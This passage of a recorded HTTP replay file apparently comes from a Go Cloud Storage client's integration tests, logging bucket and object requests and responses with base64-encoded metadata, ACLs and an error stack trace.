Z29vZ2xlLmFwaS5zZXJ2ZXIudGhyZWFkLlRocmVhZFRyYWNrZXJzJFRocmVhZFRyYWNraW5nUnVubmFibGUucnVuKFRocmVhZFRyYWNrZXJzLmphdmE6MTI2KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTo0NTMpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5zZXJ2ZXIuQ29tbW9uTW9kdWxlJENvbnRleHRDYXJyeWluZ0V4ZWN1dG9yU2VydmljZSQxLnJ1bkluQ29udGV4dChDb21tb25Nb2R1bGUuamF2YTo4MDIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUkMS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDYwKVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkQWJzdHJhY3RUcmFjZUNvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKFRyYWNlQ29udGV4dC5qYXZhOjMxOSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTozMTEpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuKFRyYWNlQ29udGV4dC5qYXZhOjQ1Nylcblx0YXQgY29tLmdvb2dsZS5nc2UuaW50ZXJuYWwuRGlzcGF0Y2hRdWV1ZUltcGwkV29ya2VyVGhyZWFkLnJ1bihEaXNwYXRjaFF1ZXVlSW1wbC5qYXZhOjQwMylcbiJ9XSwiY29kZSI6NDAwLCJtZXNzYWdlIjoiVGhlIHRhcmdldCBvYmplY3QgaXMgbm90IGVuY3J5cHRlZCBieSBhIGN1c3RvbWVyLXN1cHBsaWVkIGVuY3J5cHRpb24ga2V5LiJ9fQ==" - } - }, - { - "ID": "b45cb452c78d7b50", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2571" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:41 GMT" - ], - "Etag": [ - "CAo=" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:41 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uq2YnotZtU1JMnJw10vtgVDeukiWK_4DXx0QFWA91CaCYLPXLDKzCzY8xqb6EGkVxvw731As27REu_hYOqZTwSfJJ6SeHemliLV9JgQYjfngxL0HFA" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjIzOjU0LjYxMFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDoyOC44ODJaIiwibWV0YWdlbmVyYXRpb24iOiIxMCIsImFjbCI6W3sia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9hY2wvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBbz0ifSx7ImtpbmQiOiJzdG9yYWdlI2J1Y2tldEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ0FvPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0FvPSJ9XSwiZGVmYXVsdE9iamVjdEFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDQW89In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ0FvPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQW89In1dLCJpYW1Db25maWd1cmF0aW9uIjp7ImJ1Y2tldFBvbGljeU9ubHkiOnsiZW5hYmxlZCI6ZmFsc2V9fSwib3duZXIiOnsiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0In0sImxvY2F0aW9uIjoiVVMiLCJ2ZXJzaW9uaW5nIjp7ImVuYWJsZWQiOmZhbHNlfSwibGlmZWN5Y2xlIjp7InJ1bGUiOlt7ImFjdGlvbiI6eyJ0eXBlIjoiRGVsZXRlIn0sImNvbmRpdGlvbiI6eyJhZ2UiOjMwfX1dfSwibGFiZWxzIjp7Im5ldyI6Im5ldyIsImwxIjoidjIifSwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJldGFnIjoiQ0FvPSJ9" - } - }, - { - "ID": "6831287fd0edbcd4", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJuYW1lIjoicG9zYyJ9Cg==", - "Zm9v" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3128" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:42 GMT" - ], - "Etag": [ - "CJek2c3x/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrXGhYaqbrodjXeCKtZGAt0hM0GrM8GBcZBkGkLJ7550-Iqaxp681SkhDDDOp0V3-xMmoq3rjWOC8A4XvJfAzgxGsO2VekCUJgUBMalL8hEAur49q8" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9wb3NjLzE1NTY4MzU4ODE4NjU3NTEiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9wb3NjIiwibmFtZSI6InBvc2MiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg4MTg2NTc1MSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDo0MS44NjVaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6NDEuODY1WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjQxLjg2NVoiLCJzaXplIjoiMyIsIm1kNUhhc2giOiJyTDBZMjB6QytGenQ3MlZQek1TazJBPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vcG9zYz9nZW5lcmF0aW9uPTE1NTY4MzU4ODE4NjU3NTEmYWx0PW1lZGlhIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvcG9zYy8xNTU2ODM1ODgxODY1NzUxL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL3Bvc2MvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6InBvc2MiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg4MTg2NTc1MSIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDSmVrMmMzeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvcG9zYy8xNTU2ODM1ODgxODY1NzUxL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9wb3NjL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoicG9zYyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODgxODY1NzUxIiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ0plazJjM3gvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3Bvc2MvMTU1NjgzNTg4MTg2NTc1MS9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vcG9zYy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6InBvc2MiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg4MTg2NTc1MSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDSmVrMmMzeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvcG9zYy8xNTU2ODM1ODgxODY1NzUxL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9wb3NjL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoicG9zYyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODgxODY1NzUxIiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ0plazJjM3gvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJ6OFN1SFE9PSIsImV0YWciOiJDSmVrMmMzeC9lRUNFQUU9In0=" - } - }, - { - "ID": "7588cdc84e3976f4", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/posc?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3128" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:42 GMT" - ], - "Etag": [ - "CJek2c3x/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpGBHQWnSHLUYlW5nck2w_3QN4x5uYmOM-GIatNzD1tqhzK0JOf7rBe1BKILpdyEUPlSmrLwrukcqJwHgfezE50OQL7ha9n6_fc6qUMoVwkEGawOgA" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9wb3NjLzE1NTY4MzU4ODE4NjU3NTEiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9wb3NjIiwibmFtZSI6InBvc2MiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg4MTg2NTc1MSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDo0MS44NjVaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6NDEuODY1WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjQxLjg2NVoiLCJzaXplIjoiMyIsIm1kNUhhc2giOiJyTDBZMjB6QytGenQ3MlZQek1TazJBPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vcG9zYz9nZW5lcmF0aW9uPTE1NTY4MzU4ODE4NjU3NTEmYWx0PW1lZGlhIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvcG9zYy8xNTU2ODM1ODgxODY1NzUxL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL3Bvc2MvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6InBvc2MiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg4MTg2NTc1MSIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDSmVrMmMzeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvcG9zYy8xNTU2ODM1ODgxODY1NzUxL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9wb3NjL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoicG9zYyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODgxODY1NzUxIiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ0plazJjM3gvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3Bvc2MvMTU1NjgzNTg4MTg2NTc1MS9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vcG9zYy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6InBvc2MiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg4MTg2NTc1MSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDSmVrMmMzeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvcG9zYy8xNTU2ODM1ODgxODY1NzUxL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9wb3NjL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoicG9zYyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODgxODY1NzUxIiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ0plazJjM3gvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJ6OFN1SFE9PSIsImV0YWciOiJDSmVrMmMzeC9lRUNFQUU9In0=" - } - }, - { - "ID": 